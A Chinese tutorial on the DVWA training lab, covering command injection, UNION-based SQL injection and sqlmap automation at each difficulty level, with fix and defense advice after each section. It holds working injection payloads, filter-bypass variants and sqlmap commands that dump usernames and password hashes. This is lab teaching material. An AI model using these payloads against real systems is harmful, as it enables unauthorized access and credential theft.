[DVWA靶场实战]-SQL注入攻击(命令注入+SQL回显注入+sqlmap工具实现自动化注入)详细教程

原理与内容

1.命令注入原理

以Windows系统的DOS命令为例,DOS命令可以查看本地网络、系统用户、当前目录、字符串查找,也可以复合命令。命令注入就是利用复合命令的特点,通过Web程序,在服务器上,拼接系统命令,实现相关信息、权限的获取。

2.SQL注入原理

(1)什么是SQL注入

SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

(2)SQL注入产生的条件

传递给后端的参数是可以控制的

参数内容会被带入到数据库查询

变量未存在过滤或者过滤不严谨

一、命令注入

命令注入是一种常见的安全漏洞,攻击者通过在用户输入中注入恶意命令,从而执行非法操作。要成功利用命令注入漏洞,通常需要满足以下三个条件:

1.用户输入未经过正确的验证和过滤:当应用程序接受用户输入并直接将其传递给执行系统命令的函数时,如果没有对输入进行适当的验证和过滤,就会产生漏洞。攻击者可以通过在输入中注入恶意命令来执行任意代码。

2.用户输入直接嵌入到系统命令中:如果应用程序在构建和执行系统命令时,直接将用户输入作为命令的一部分,而没有经过合适的处理,那么攻击者可以通过注入恶意命令来改变原始命令的行为。

3.缺乏权限限制:如果应用程序在执行系统命令时使用了高权限的用户或进程,那么攻击者可以通过命令注入漏洞来执行危险的操作。最佳实践是将Web应用程序运行的用户和进程限制为最小权限,以减轻潜在攻击的影响。

1、Low等级

源代码

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函数将返回search参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

利用|ipconfig获取本机的ip地址

命令192.168.241.133 && dir可以获得服务器上的文件列表

127.0.0.1 && net users

可以看到,我们通过&&连接两个命令,达到了注入的目的

127.0.0.1&&whoami
  查看系统当前有效用户名

127.0.0.1&&netstat -nr
显示路由信息,路由表

2、medium等级

源代码

查看源码,发现把”&&” 、”;”转为空,即删除。”&&”与” &”的区别:

1.Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

2.Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

命令192.168.241.133 & dir可以获得服务器上的文件列表

利用127.0.0.1 &;& ipconfig获得本机的IP地址

127.0.0.1&;&netstat -nr

3、High等级

查看源码

它包含了一些安全性检查,以防止注入攻击。首先,通过POST方法获取用户输入的目标IP地址。然后,设置一个黑名单,包含一些特殊字符和命令符号,用于替换用户输入中可能存在的非法字符。接下来,根据操作系统类型执行ping命令。如果是Windows系统,则使用ping命令;如果是*nix系统,则使用ping -c 4命令。执行命令后,将结果存储在变量$cmd中。最后,将ping命令的结果输出给用户。命令192.168.0.105 |dir可以获得服务器上的文件列表

4、Impossible等级

查看源码

1.输入未经过滤:用户输入的$target参数没有经过任何过滤和验证,直接传递给操作系统执行ping命令。

2.命令执行方法:使用了shell_exec()函数执行操作系统命令,而不是使用更安全的API。

修复方法:

1.输入过滤和验证:对用户输入进行过滤和验证,确保只接受有效的IP地址。可以使用PHP内置的过滤器函数如filter_var()来验证IP地址的合法性。

2.使用安全的命令执行方法:避免使用shell_exec()等直接执行操作系统命令的函数。可以使用更安全的替代方法,如调用操作系统提供的API或库来执行命令。

防御方法:

1.除了修复方法中的措施外,可以采取以下防御措施:

2.最小权限原则:将Web应用程序运行的用户和进程限制为具有最低权限的用户。这样即使发生命令注入漏洞,攻击者也受到严格的权限限制。

3.输入限制:对用户输入进行限制,只接受符合预期格式的输入。可以使用正则表达式或白名单机制来限制用户只能输入特定的格式和内容。

4.参数化查询:如果需要执行复杂的操作系统命令,应该使用参数化查询。将用户输入作为参数传递给命令,而不是将用户输入直接嵌入命令中。

5.安全编码实践:开发人员应该遵循安全编码实践,对输入进行严格过滤和验证,并使用安全的API和库来执行命令。

SQL回显注入

1、Low等级

源码分析

分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。

SQL查询使用原始输入。输入2,查看

判断注入点类型,输入1’or 1=1 #

正常执行,说明是字符型注入。
判断数据库类型, 1' union select version(),@@version_compile_os#

正确执行,说明version()函数被数据库识别并执行,而version()函数是MariaDB(MySQL)特有的函数,因此可以推断后台数据库为MySQL,操作系统为linux。
猜解数据库名,输入1' union select database(),user()#

获得数据库名dvwa。

获取表名,information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

显示dvwa数据库有两张表guestbook、users。猜测users表示用户表。
获取users表列名

1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #

其中dvwa和users是上面猜解的数据库名和表名。

显示列名为,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。依据user,password可以获取到用户名,密码。
获取用户名,密码,输入1' union select user,password from users #

得到了用户名,和密码,密码被加密了。可以尝试进行解密,例如md5。

2.medium等级

源码分析

可以看到中级加入了一些防御,不让用户输入,只提供选择(可以用burpsuit抓包来绕过),分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入。

用户id只能选择

通过burpsuit抓包,有两个输出数据。启动burp抓包。

burp抓到的包发生到repeater,把id=1修改为id=1 and 3-1 # 发送。

判断是数值型注入。其他和low操作一样,只是SQL语句输入位置为在burp中修改id值,且不需要单引号。例如查询数据库类型为,把id=1修改为id=1 union select version(),@@version_compile_os #

3、High等级

源码分析

可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过。

这和low操作非常相似,但是这次攻击者以不同的方式输入值。输入值通过另一个页面的session变量传递给易受攻击的查询,而不是直接通过GET请求。

先点击第一个页面的here_to_change_your_ID,然后在显示的页面中输入要查询的id。

在页面中输入1 ‘ and 1=1 #

显示正常,是字符型注入,其他和low一样,注入点在点击后显示的页面。如直接输入1' union select user,password from users # 获得账号密码。

4Impossible等级

源码分析

可以看到使用了PDO技术,杜绝了SQL注入

查询现在是参数化查询(而不是动态查询)。意味着查询由开发人员定义,并区分哪些部分是代码,其余部分是数据。目前无法破解。

安全问题:

1.SQL 注入攻击:该程序使用用户提供的 $id 参数执行 SQL 查询,如果该参数未经过适当的验证和清理,则可能受到 SQL 注入攻击。攻击者可以通过在输入中注入 SQL 代码来执行恶意操作,例如删除数据或绕过身份验证。

2.CSRF 攻击:该程序没有适当地防御跨站请求伪造(CSRF)攻击。攻击者可以构造一个带有正确 Anti-CSRF token 的请求,并强制用户执行该请求,以执行非授权的操作。

修复、防御方法:

1.防止 SQL 注入攻击:可以使用预处理语句和参数化查询来防止 SQL 注入攻击。在代码中,使用了 PDO 扩展的 prepare() 和 bindParam() 方法来创建和执行安全的 SQL 查询。也可以使用过滤器函数或净化器库来清理输入数据。例如,对于整数类型的输入,可以使用 intval() 函数将输入转换为整数,并确保没有任何不必要的字符。

2.防止 CSRF 攻击:可以使用 Anti-CSRF token 来防止 CSRF 攻击。在代码中,使用了 generateSessionToken() 和 checkToken() 函数来生成和验证 Anti-CSRF token。生成 token 时,将其存储在会话中,并将其添加到表单中。验证 token 时,检查表单提交的 token 是否与存储在会话中的 token 相匹配。如果不匹配,则拒绝请求。

三、sqlmap自动化注入

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。

1.low等级

启动burp抓包

使用burp抓到的cookie
启动kali终端输入、运行

sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low"

其中URL从输入1后从浏览器复制,cookie抓包后提取。
一直输入y。显示存在注入点

在以上命令后添加 --dbs获取所有数据库名,–batch默认输入y,kali终端运行

sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" --dbs --batch

获得存在数据库名dvwa,information_schema
在命令后添加–current-db,获得当前数据库名称。运行

sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" --current-db --batch

获得当前数据库名为dvwa。
在命令后添加-D dvwa --tables 获取dvwa数据库中的表名。

sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" -D dvwa --tables --batch

获得dvwa数据库中的表名guestbook,users
在命令后添加-T users --columns获取users表中的列名。

sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" -D dvwa -T users --columns --batch

成功获得列名。在使用-C user,password,user_id --dump,显示用户id,名称,密码,且会自动解密,保存到本地文件中。解密需要一定时间。

sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" -D dvwa -T users -C user,password,user_id --dump

2.medium等级

启动burp抓包

复制抓取到的内容,放入新建文件,1.txt。
kali中运行

sqlmap -r "1.txt" --batch

接下来的步骤,与low一样。

3.high等级

注入点在第二个页面,是跨页的情况。

启动burp抓包,内容放入新建文件2.txt。注意抓到的包是第二个页面点击submit后抓到的包。

kali运行

sqlmap -r “2.txt”  --batch  --second-ur "http://192.168.241.133/DVWA/vulnerabilities/sqli/"

后面url是第一个页面的链接。

接下来和low一样,例如运行以后命令获得数据库名

sqlmap -r “2.txt”  --batch --second-url "http://192.168.241.133/DVWA/vulnerabilities/sqli/session-input.php"

防范措施

SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面。

1、分级管理

对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。通过权限的设计限制。使得即使恶意攻击者在数据提交时嵌入了相关攻击代码。但因为设置了权限,从而使得代码不能执行。从而减少SQL注入对数据库的安全威胁。

2、参数传值

程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量。这样可以最大程度防范SQL注入攻击。

3、基础过滤与二次过滤

SQL注入攻击前,入侵者通过修改参数提交“and”等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。

4、使用安全参数

SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。SQLServer数据库提供了Parameters集合,它在数据库中的功能是对数据进行类型检查和长度验证,当程序员在程序设计时加入了Parameters集合,系统会自动过滤掉用户输入中的执行代码,识别其为字符值。如果用户输入中含有恶意的代码,数据库在进行检查时也能够将其过滤掉。同时Parameters集合还能进行强制执行检查。一旦检查值超出范围。系统就会出现异常报错,同时将信息发送系统管理员,方便管理员做出相应的防范措施。

5、多层验证

现在的网站系统功能越来越庞大复杂。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。但是如果多层验证中的下层如果验证数据通过,那么绕过客户端的攻击者就能够随意访问系统。因此在进行多层验证时,要每个层次相互配合,只有在客户端和系统端都进行有效的验证防护,才能更好地防范SQL注入攻击。

6、数据库信息加密。对数据库信息加密,使得即便攻击者进入了数据库也无法理解信息内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/48172.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

elk日志索引被锁blocks,日志无法写入

现象: kafka积压,logstash无法将日志写入到es logstash报错: [logstash.outputs.elasticsearch][main][] Retrying failed action {:status>403 :error>{“type”>“cluster_block_exception”, “reason”>“index [] blocked …

昇思MindSpore 应用学习-CycleGAN图像风格迁移互换

日期 心得 昇思MindSpore 应用学习-CycleGAN图像风格迁移互换(AI代码学习) CycleGAN图像风格迁移互换 模型介绍 模型简介 CycleGAN(Cycle Generative Adversarial Network) 即循环对抗生成网络,来自论文 Unpaired Image-to-Image Trans…

Rust代码答疑报错|Python一对一辅导答疑

Question 你好,我是悦创。 学员答疑: https://code.bornforthis.cn/?id4e72084d-1eaf-44ed-8067-744671491574https://code.bornforthis.cn/?id664ff169-41d6-409f-a05b-02ed42279759 问题代码: // You can bring module paths into sc…

使用python连接neo4j时报错:IndexError: pop from an empty deque的解决办法

遇见这个错,首先可能是python现在的py2neo的版本不对,把2021.1.0版本卸载,下载 py2neo4.2.0版本。我不是,一阵搜,发现需要改配置文件 首先找到你的neo4j的安装路径 在网上看的是,先找到data/dbms/auth文件…

Ins云手机在运营Instagram账号的优势

在数字时代,Instagram成为全球数亿用户的重要社交平台,其超过10亿的用户数量,为企业提供了广阔的营销空间。对于希望拓展海外市场的企业来说,使用Instagram进行引流和推广是一个高效且安全的选择。为了更高效地管理和运营多个Inst…

Python 实现股票指标计算——VR

VR (Volume Ratio) - 成交量变异率 1 公式 AV 股价上升日成交量;AVS N日内AV求和BV 股价下跌日成交量;BVS N日内BV求和CV 股价平盘日成交量;CVS N日内CV求和VR (AVS1/2CVS) ➗ (BVS1/2CVS) ✖ 100MAVR VR的M日简单移动平均 2 数据…

HDU1032——The 3n + 1 problem,HDU1033——Edge,HDU1034——Candy Sharing Game

目录 HDU1032——The 3n 1 problem 题目描述 运行代码 代码思路 HDU1033——Edge 题目描述 运行代码 代码思路 HDU1034——Candy Sharing Game 题目描述 运行代码 代码思路 HDU1032——The 3n 1 problem 题目描述 Problem - 1032 运行代码 #include <iostr…

相信开源的力量,MoonBit 构建系统正式开源

MoonBit 构建系统正式开源 作为由 AI 驱动的云服务和边缘计算开发者平台&#xff0c;MoonBit 自设计之初便注重工具链与语言的协同效果。MoonBit 为开发者提供了一套开箱即用的工具链&#xff0c;包括集成开发环境&#xff08;IDE&#xff09;、编译器、构建系统和包管理器&…

android audio不同音频流,(六)settings内音频流音量调整

&#xff08;1&#xff09;settings内&#xff0c;可设置音频流音量&#xff0c;如下图&#xff1a; &#xff08;2&#xff09;settings调整音量条进度&#xff0c;会触发SeekBarVolumizer对象&#xff1a; SeekBarVolumizer文件路径&#xff1a; frameworks/base/core/java/…

【MySQL进阶之路 | 高级篇】事务的ACID特性

1. 数据库事务概述 事务是数据库区别于文件系统的重要特性之一&#xff0c;当我们有了事务就会让数据库始终保持一致性&#xff0c;同时我们还能通过事务的机制恢复到某个时间点&#xff0c;这样可以保证给已提交到数据库的修改不会因为系统崩溃而丢失。 1.1 基本概念 事务&…

OpenCV图像滤波(1)双边滤波函数bilateralFilter的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 功能描述 bilateralFilter是图像处理和计算机视觉领域中的一种高级图像滤波技术&#xff0c;特别设计用于在去除噪声的同时保留图像的边缘和细节。相比于传…

React搭建Vite项目及各种项目配置

1. 创建Vite项目 在操作系统的命令终端&#xff0c;输入以下命令&#xff1a; yarn create vite 输入完成以后输入项目名称、选择开发框架&#xff0c;选择开发语言&#xff0c;如下图所示&#xff0c;即可完成项目创建。 注意事项&#xff1a; 1. Node版本必须符合要求&…

OceanBase v4.2 特性解析:如何实现表级恢复

背景 在某些情况下&#xff0c;你可能会因为误操作而遇到表数据损坏或误删表的情况。为了能在事后将表数据恢复到某个特定时间点&#xff0c;在OceanBase尚未有表级恢复功能之前&#xff0c;你需要进行以下步骤&#xff1a; 利用OceanBase提供的物理恢复工具&#xff0c;您可…

Linux云计算 |【第一阶段】SERVICES-DAY6

主要内容&#xff1a; Linux容器基础、Linux容器管理、podman命令行、管理容器进阶 实操前骤&#xff1a;安装 RHEL8.2 虚拟机 1.选择软件包&#xff1a;rhel-8.2-x86-dvd.iso&#xff1b; 2.内存2048M&#xff1b; 3.时区选择亚洲-上海&#xff0c;带GUI的服务器&#xff1b…

使用kali对操作系统和网络服务类型进行探测

1&#xff0e;在Kali终端中输入命令“nmap –sS –n -O 192.168.2.2”&#xff0c;探测目标主机的操作系统类型 2&#xff0e; 在Kali终端中输入命令“nmap –sV -n 192.168.2.2”&#xff0c;探测目标主机开启的网络服务类型 3.在Kali终端中输入命令“nmap –A -n 192.168.2.2…

vue3前端开发-小兔鲜项目-产品详情基础数据渲染

vue3前端开发-小兔鲜项目-产品详情基础数据渲染&#xff01;这一次内容比较多&#xff0c;我们分开写。第一步先完成详情页面的基础数据的渲染。然后再去做一下右侧的热门产品的列表内容。 第一步&#xff0c;还是老规矩&#xff0c;先准备好接口函数。方便我们的页面组件拿到对…

掌握互联网路由选择协议:从基础入门到实战

文章目录 路由选择协议的基本概念路由选择算法的分类分层次的路由选择协议路由信息协议&#xff08;RIP&#xff09;内部网关协议&#xff1a;OSPF外部网关协议&#xff1a;BGP互联网中的实际应用总结 互联网的路由选择协议是网络通信的核心&#xff0c;它决定了数据包如何在网…

Sentinel初步了解

概念 Sentinel面向分布式、多语言异构化服务框架的流量治理组件。 相关文档https://github.com/alibaba/Sentinel/wiki/ 服务雪崩 多个微服务之间调用的时候&#xff0c;假设微服务A调用微服务B和微服务C,微服务B和微服务C又调用其它的微服务&#xff0c;这就是所谓的“扇出…

Manticore Search(es轻量级替代)

概念&#xff1a; Manticore Search 是一个使用 C 开发的高性能搜索引擎&#xff0c;创建于 2017 年&#xff0c;其前身是 Sphinx Search 。Manticore Search 充分利用了 Sphinx&#xff0c;显着改进了它的功能&#xff0c;修复了数百个错误&#xff0c;几乎完全重写了代码并保…

MySQL第四次作业

1.修改student表中年龄字段属性&#xff0c;数据类型由int改变为smallint 2.为course表中cno课程学号设置索引&#xff0c;并查看索引 &#xff08;3&#xff09;为SC表建立按学号(sno)和课程号(cno)组合的升序的主键索引&#xff0c;索引名为SC_INDEX &#xff08;4&#xff0…